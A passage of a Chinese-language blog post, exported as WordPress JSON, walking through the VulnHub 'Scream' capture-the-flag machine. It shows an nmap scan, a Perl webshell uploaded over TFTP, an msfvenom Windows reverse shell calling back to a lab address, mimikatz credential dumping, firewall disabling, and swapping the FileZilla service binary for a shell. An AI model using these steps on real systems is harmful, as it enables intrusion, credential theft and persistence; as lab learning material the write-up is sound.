nmap -sU -sS -p- --min-rate 5000 192.168.244.183\n# Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-02-18 06:52 EST\n# Nmap scan report for 192.168.244.183\n# Host is up (0.00064s latency).\n# Not shown: 65534 open|filtered udp ports (no-response), 65531 filtered tcp ports (no-response)\n# PORT   STATE SERVICE\n# 21\/tcp open  ftp\n# 22\/tcp open  ssh\n# 23\/tcp open  telnet\n# 80\/tcp open  http\n# 69\/udp open  tftp\n# MAC Address: 00:0C:29:4C:10:1E (VMware)\n\n# Nmap done: 1 IP address (1 host up) scanned in 53.09 seconds<\/code><\/pre>\n
OK\uff0c\u5c1d\u8bd5\u4e0a\u4f20shell\uff0c\u4e00\u5f00\u59cb\u4f20\u4e0d\u4e0a\u53bb\uff0c\u5173\u95ed\u9632\u706b\u5899\u4ee5\u540e\u5c31\u53ef\u4ee5\u4e86\uff1a<\/p>\n
sudo ufw status\nsudo ufw disable\n# sudo ufw enable<\/code><\/pre>\n
\"image-20240218201051552\"<\/div><\/p>\n
\u5c1d\u8bd5get\uff0c\u4f46\u662f\u6743\u9650\u4e0d\u591f\uff0c\u4f20\u4e00\u4e2apl\u7684webshell<\/code>\u8fdb\u53bb\uff1ahttps:\/\/github.com\/tennc\/webshell\/blob\/master\/pl\/WebShell.cgi.pl<\/a><\/p>\n
\"image-20240218223842300\"<\/div><\/p>\n
\u53bb\u7785\u7785\uff1a<\/p>\n
\"image-20240218224023632\"<\/div><\/p>\n
\"image-20240218224114313\"<\/div><\/p>\n
\u600e\u4e48\u80a5\u4e8b\uff0c\u627e\u4e0d\u5230\u6587\u4ef6\uff1f\u6362\u4e00\u4e2a\u8bd5\u8bd5\uff1a<\/p>\n
\"image-20240218225036087\"<\/div><\/p>\n
\"image-20240218225237464\"<\/div><\/p>\n
\u4e00\u6837\u3002\u3002\u3002\u3002\u3002\u795e\u9b54\u4e2a\u60c5\u51b5\u3002\u3002\u3002\u3002<\/p>\n
\u624d\u53d1\u73b0\u4f20\u53c2\u7684\u65f6\u5019\u7528\u9519\u4e86\uff0c\u662f\u95ee\u53f7\uff0c\u6211\u662fsb\u3002\u3002\u3002<\/p>\n
tftp> put perlweb_shell.pl \/cgi-bin\/webshell1.pl <\/code><\/pre>\n
dir<\/code><\/pre>\n
\"image-20240218235206730\"<\/div><\/p>\n
echo %username%<\/code><\/pre>\n
\"image-20240219000109907\"<\/div><\/p>\n
hostname\nnet user<\/code><\/pre>\n
\"image-20240219000202514\"<\/div>
\n
\"image-20240219000314733\"<\/div><\/p>\n
systeminfo<\/code><\/pre>\n
\"image-20240219000717750\"<\/div><\/p>\n
qwinsta<\/code><\/pre>\n
\"image-20240219001112881\"<\/div><\/p>\n
net user alex<\/code><\/pre>\n
\"image-20240219001311337\"<\/div><\/p>\n
cd C:\\\ndir<\/code><\/pre>\n
\"image-20240219001521952\"<\/div><\/p>\n
\u5c1d\u8bd5\u8fde\u63a5\u4e0a\u53bb<\/h4>\n
\u5148\u7528msfvenom<\/code>\u751f\u6210\u4e00\u4e2ashell\uff0c\u518d\u4f20\u5230tftp\u4e0a\u53bb\uff1a<\/p>\n
msfvenom -l\nmsfvenom -l payloads windows\nmsfvenom -l payloads windows reverse\nmsfvenom -l payloads windows reverse | grep shell\nmsfvenom -p windows\/shell_reverse_tcp\nmsfvenom -p windows\/shell_reverse_tcp LHOST=192.168.244.133 LPORT=1234 -f exe -o webshell.exe\n# [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload\n# [-] No arch selected, selecting arch: x86 from the payload\n# No encoder specified, outputting raw payload\n# Payload size: 324 bytes\n# Final size of exe file: 73802 bytes\n# Saved as: webshell.exe<\/code><\/pre>\n
\"image-20240220003008816\"<\/div><\/p>\n
\u5fd8\u4e86\u6539\u6a21\u5f0f\u4e86\uff0c\u4e0d\u6539\u6a21\u5f0f\u6267\u884c\u4e0d\u4e86\u8fd9\u4e2a\u6587\u4ef6\uff01<\/p>\n
\"image-20240220003156175\"<\/div><\/p>\n
\u7136\u540e\u8bbf\u95ee\u4e00\u4e0b\uff0c\u8bbe\u7f6e\u76d1\u542c\uff0c\u770b\u770b\u8fde\u4e0d\u8fde\u7684\u4e0a\uff1a<\/p>\n
\"image-20240220004920266\"<\/div><\/p>\n
\u672c\u6765\u6ca1\u8fde\u4e0a\u7684\uff0c\u51c6\u5907\u5220\u6389\u4e86\uff0c\u7a81\u7136\u53c8\u8fde\u4e0a\u4e86\u3002\u597d\u5bb6\u4f19\u3002\u3002\u3002\u3002<\/p>\n
22\u7aef\u53e3<\/h3>\n
\u8fd9\u4e2a\u7aef\u53e3\u662f\u8fd0\u884cssh\u670d\u52a1\u7684\uff0c\u6309\u7406\u8bf4\u662f\u53ef\u4ee5\u8bd5\u8bd5searchsploit\u6f0f\u6d1e\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u5229\u7528\u7684\uff0c\u4f46\u662f\u6211\u6ca1\u6709\u5229\u7528\u6210\u529f\uff0ccsdn\u4e0a\u6709\u4e2a\u5e08\u5085\u597d\u50cf\u662f\u8fd9\u4e48\u505a\u7684\uff0c\u4e0d\u77e5\u9053\u8be6\u7ec6\u8fc7\u7a0b\u662f\u548b\u6574\u7684\uff0c\u56de\u5934\u6709\u673a\u4f1a\u53ef\u4ee5\u7814\u7a76\u4e0b\u3002<\/p>\n
23\u7aef\u53e3<\/h3>\n
\u6ca1\u5565\u53d1\u73b0\u6b38<\/p>\n
\u63d0\u6743<\/h2>\n
mimikatz.exe\u67e5\u8be2\u5bc6\u7801<\/h3>\n
\u4e0a\u4f20\u4e00\u4e2amimikatz.exe<\/code>:<\/p>\n
\"image-20240219003524922\"<\/div><\/p>\n
cd C:\\www\\root\\cgi-bin\ndir<\/code><\/pre>\n
\"image-20240219003640228\"<\/div><\/p>\n
\u8fd0\u884c\u4e00\u4e0b\uff0c\u53d1\u73b0\u6ca1\u6709\u6539\u6210\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u91cd\u65b0\u4e0a\u4f20\uff1a<\/p>\n
\"image-20240220005307164\"<\/div><\/p>\n
\u83b7\u53d6\u5bc6\u7801\uff1a<\/p>\n
# mimikatz shell\nprivilege::debug\nsekurlsa::logonpasswords<\/code><\/pre>\n
\"image-20240220005408002\"<\/div><\/p>\n
\u5c1d\u8bd5\u767b\u5f55\uff0c\u4f20\u5165\u4e24\u6b21ctrl+alt+del<\/code>\u5373\u53ef\u8fdb\u884c\u767b\u5f55\uff0c\u4e4b\u524d\u8fd8\u53ef\u4ee5\u7684\u6765\u7740\uff0c\u548b\u73b0\u5728\u4e0d\u884c\u4e86\u3002\u3002<\/p>\n
\"image-20240220010320345\"<\/div><\/p>\n
\u8fde\u4e0d\u4e86\u62c9\u5012\uff0c\u5e94\u8be5\u662f\u5bf9\u7684\uff01<\/p>\n
\u5c1d\u8bd5\u5173\u95ed\u9632\u706b\u5899<\/h3>\n
netsh firewall set opmode mode=DISABLE<\/code><\/pre>\n
\"image-20240220012136683\"<\/div><\/p>\n
\u91cd\u65b0\u626b\u63cf\u4e00\u4e0b\uff0c\u770b\u770b\u6709\u6ca1\u6709\u65b0\u53d1\u73b0\uff1a<\/p>\n
\"image-20240220012456602\"<\/div><\/p>\n
\u6ca1\u6709\u5565\u53d1\u73b0\uff0c\u4e3b\u673a\u91cd\u542f\u800c\u4e14shell\u65ad\u6389\u4e86\uff0c\u91cd\u65b0\u8fde\u63a5\u4e00\u4e0b\uff0c\u5173\u95ed\u4e00\u4e0b\u9632\u706b\u5899\uff1a<\/p>\n
netsh firewall show state<\/code><\/pre>\n
\"image-20240220013252751\"<\/div><\/p>\n
\u4e00\u5173\u9632\u706b\u5899\u5c31\u4f1a\u91cd\u542f\uff0c\u4e0d\u77e5\u9053\u548b\u56de\u4e8b\u3002\u3002\u3002<\/p>\n
\u6682\u65f6\u8fd9\u4e2a\u529e\u6cd5\u884c\u4e0d\u901a\u4e86\uff0c\u4f46\u662f\u6211\u770b\u5230\u6709\u4e2a\u5e08\u5085\u662f\u8fd9\u4e48\u505a\u7684\uff0c\u4ed6\u5173\u95ed\u8fd9\u4e2a\u9632\u706b\u5899\u4ee5\u540e\u4f1a\u66b4\u9732\u51fa445\u7aef\u53e3\uff0c\u7136\u540e\u53ef\u4ee5\u5229\u7528\u6c38\u6052\u4e4b\u84dd\u6f0f\u6d1e\u8fdb\u5165\u3002<\/p>\n
\u66ff\u6362\u540c\u540d\u6587\u4ef6<\/h4>\n
\u770b\u5230\u6709\u7684\u5e08\u5085\u662f\u8fd9\u6837\u505a\u7684\uff1a<\/p>\n
C:\\Program Files\\FileZilla Server>net stop "FileZilla Server FTP Server"\nnet stop "FileZilla Server FTP Server"\nThe FileZilla Server FTP server service is stopping.\nThe FileZilla Server FTP server service was stopped successfully.\n\nC:\\Program Files\\FileZilla Server>move "FileZilla server.exe" "FileZilla server.exe.bak"\nmove "FileZilla server.exe" "FileZilla server.exe.bak"\n\nC:\\PROGRA~1\\FILEZI~1>move C:\\www\\root\\shell.exe "FileZilla server.exe"\nmove C:\\www\\root\\shell.exe "FileZilla server.exe"\n\nC:\\PROGRA~1\\FILEZI~1>net start "FileZilla Server FTP Server"\nnet start "FileZilla Server FTP Server"<\/code><\/pre>\n
\u53c2\u8003<\/h2>\n
https:\/\/blog.csdn.net\/qq_38005854\/article\/details\/105789265<\/a><\/p>\n
https:\/\/devloop.users.sourceforge.net\/index.php?article75\/solution-du-ctf-scream<\/a><\/p>\n
https:\/\/ratiros01.medium.com\/vulnhub-dev-random-scream-41bbbb0200e9<\/a><\/p>\n
https:\/\/rastating.github.io\/dev-random-scream-ctf-walkthrough\/<\/a><\/p>\n
https:\/\/github.com\/Jean-Francois-C\/Boot2root-CTFs-Writeups\/blob\/master\/VulnHub%20Scream%20(Beginner-Medium<\/a>)<\/p>\n
https:\/\/www.bilibili.com\/video\/BV1xh411c7Nv\/?spm_id_from=333.788&vd_source=8981ead94b755f367ac539f6ccd37f77<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
SCREAM \u751f\u6210\u9776\u573a \u4eca\u5929\u6311\u6218\u7684\u9776\u573a\u6709\u70b9\u4e0e\u4f17\u4e0d\u540c\uff1a \u4ed6\u8981\u81ea\u5df1\u751f\u6210\u4e00\u4e2aiso\u6587\u4ef6\uff1a \u4f5c\u8005\u662f\u5c06\u6f0f\u6d1e\u76f4\u63a5\u63d2\u5165iso […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-366","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/366","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=366"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/366\/revisions"}],"predecessor-version":[{"id":368,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/366\/revisions\/368"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=366"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=366"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=366"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}